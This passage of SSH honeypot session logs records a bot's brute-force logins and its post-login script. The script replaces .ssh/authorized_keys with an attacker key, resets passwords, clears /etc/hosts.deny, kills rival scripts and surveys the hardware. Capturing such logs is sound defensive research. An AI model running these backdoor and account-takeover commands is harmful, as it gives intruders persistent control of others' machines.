21:26, 0 user, load average: 0.21, 0.21, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:36:39.050169+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:36:39.683607+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:36:40.227260+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:36:41.094773+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:36:41.810491+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:36:42.449703+00:00","kind":"output","latency_ms":null,"data":"michal"},{"seq":29,"at":"2026-08-27T00:36:42.985085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:36:44.033081+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:36:44.573136+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:36:45.884458+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"michal","password":"michal123","method":"password","accepted":true,"tier":"other"}]} {"id":"9b3f10f1-89e0-4271-a402-95ddce6e8558","name":"hushed-jolly-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":60248,"username":"michal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:36:23.998122+00:00","ended_at":"2026-08-27T00:36:25.554403+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"michal","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3d12da8e-6c95-42ee-b4cc-1fef04d21d9f","name":"genial-hazy-skylark","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":60234,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:36:18.820624+00:00","ended_at":"2026-08-27T00:36:19.787772+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1d3ba961-9947-47ed-8fd6-6400b59e5ee3","name":"solar-rapid-bison","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56892,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:33:42.846708+00:00","ended_at":"2026-08-27T00:33:44.173413+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T00:33:13.223764+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:33:13.750028+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:33:23.810854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:33:24.674068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:33:25.206832+00:00","kind":"input","latency_ms":null,"data":"echo \"root:K7bcLkCDsZzD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:33:25.775193+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:33:26.291438+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:33:27.023209+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:33:27.558487+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:33:28.921128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:33:29.589094+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:33:30.799353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:33:31.354132+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:33:32.228867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:33:32.751025+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:33:33.632228+00:00","kind":"output","latency_ms":null,"data":" 00:33:33 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:33:34.145543+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:33:34.683739+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:33:35.210666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:33:35.690266+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:33:36.213620+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:33:36.619139+00:00","kind":"output","latency_ms":null,"data":"top - 00:33:36 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:33:37.140958+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:33:38.008442+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:33:38.528226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:33:39.143886+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:33:39.663130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:33:40.526173+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:33:41.045329+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:33:42.324334+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:33:42.847464+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:33:44.012445+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin_123!","method":"password","accepted":true,"tier":"other"}]} {"id":"ac35acf3-f282-4ce2-a6c7-e4db05170401","name":"rugged-ruddy-jerboa","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58612,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:33:22.682424+00:00","ended_at":"2026-08-27T00:33:23.644542+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6b53966c-b304-410e-8466-7e083b739793","name":"flinty-prairie-starling","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58602,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:33:17.679396+00:00","ended_at":"2026-08-27T00:33:18.420589+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b6208ed3-6316-446d-9834-3837e3d83399","name":"nautical-graceful-chinchilla","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":58962,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:30:43.803559+00:00","ended_at":"2026-08-27T00:30:45.265857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T00:30:15.886338+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:30:16.395202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:30:25.983728+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:30:26.523854+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:30:27.055132+00:00","kind":"input","latency_ms":null,"data":"echo \"root:WWL8jYkFWDPg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:30:27.565729+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:30:28.072024+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:30:28.779065+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:30:29.298788+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:30:30.569023+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:30:31.080167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:30:32.290257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:30:32.811293+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:30:33.576650+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:30:34.084511+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:30:34.366743+00:00","kind":"output","latency_ms":null,"data":" 00:30:34 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:30:34.878684+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:30:35.618228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:30:36.138251+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:30:36.853571+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:30:37.363137+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:30:37.650900+00:00","kind":"output","latency_ms":null,"data":"top - 00:30:37 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:30:38.163822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:30:39.010637+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:30:39.523958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:30:39.852396+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:30:40.369868+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:30:41.055037+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:30:41.571389+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:30:43.287026+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:30:43.804686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:30:45.095070+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2wsx3edc!","method":"password","accepted":true,"tier":"other"}]} {"id":"721da897-7b77-40f5-839e-f7de8f723396","name":"early-wry-marten","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":48606,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:30:24.161304+00:00","ended_at":"2026-08-27T00:30:25.803896+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4466e00f-5dc3-4bb7-856e-700902caf2c2","name":"tawny-tidal-yak","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58968,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:30:19.995323+00:00","ended_at":"2026-08-27T00:30:21.574011+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"522f4b42-b84d-4bf6-91b3-d747fd167d87","name":"rapid-candid-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46664,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":516,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:27:42.331054+00:00","ended_at":"2026-08-27T00:27:43.807106+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2078,"events":[{"seq":1,"at":"2026-08-27T00:27:13.065648+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:27:13.593952+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:27:24.802618+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:27:25.280823+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:27:25.794236+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nl9G3iOf3xXC2\\nl9G3iOf3xXC2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:27:26.370820+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nl9G3iOf3xXC2\\nl9G3iOf3xXC2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:27:26.934744+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:27:27.741364+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:27:28.251502+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:27:29.574765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:27:30.089204+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:27:31.081684+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:27:31.598115+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:27:32.229652+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:27:32.748950+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:27:33.466300+00:00","kind":"output","latency_ms":null,"data":" 00:27:33 up 6 days, 21:17, 0 user, load average: 0.17, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:27:33.981834+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:27:34.542420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:27:35.055634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:27:35.957325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:27:36.512709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:27:37.202992+00:00","kind":"output","latency_ms":null,"data":"top - 00:27:37 up 6 days, 21:17, 0 user, load average: 0.17, 0.16, 0.2\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:27:37.722728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:27:38.097668+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:27:38.649903+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:27:39.070110+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:27:39.590615+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:27:39.948200+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":29,"at":"2026-08-27T00:27:40.474472+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:27:41.820062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:27:42.332694+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:27:43.648849+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mailuser","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"718f4a18-c6ec-4f05-8d52-f3eb7b154950","name":"marbled-austere-nuthatch","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":56586,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:27:22.892741+00:00","ended_at":"2026-08-27T00:27:24.656644+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"mailuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"541420c4-6187-4657-b93a-2a6e010c7c08","name":"faded-crystal-addax","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":56574,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:27:18.120902+00:00","ended_at":"2026-08-27T00:27:19.834524+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c4fa3bbc-ecba-4a1f-b0ad-4b87b4fe1fae","name":"prairie-ivory-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49256,"username":"ssl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:24:30.857302+00:00","ended_at":"2026-08-27T00:24:32.153617+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2072,"events":[{"seq":1,"at":"2026-08-27T00:24:03.453815+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:24:04.002789+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:24:12.470317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:24:13.273124+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:24:13.803746+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nUgdw3Lxi3Ra5\\nUgdw3Lxi3Ra5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:24:14.515895+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nUgdw3Lxi3Ra5\\nUgdw3Lxi3Ra5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:24:15.063735+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:24:15.654902+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:24:16.191458+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 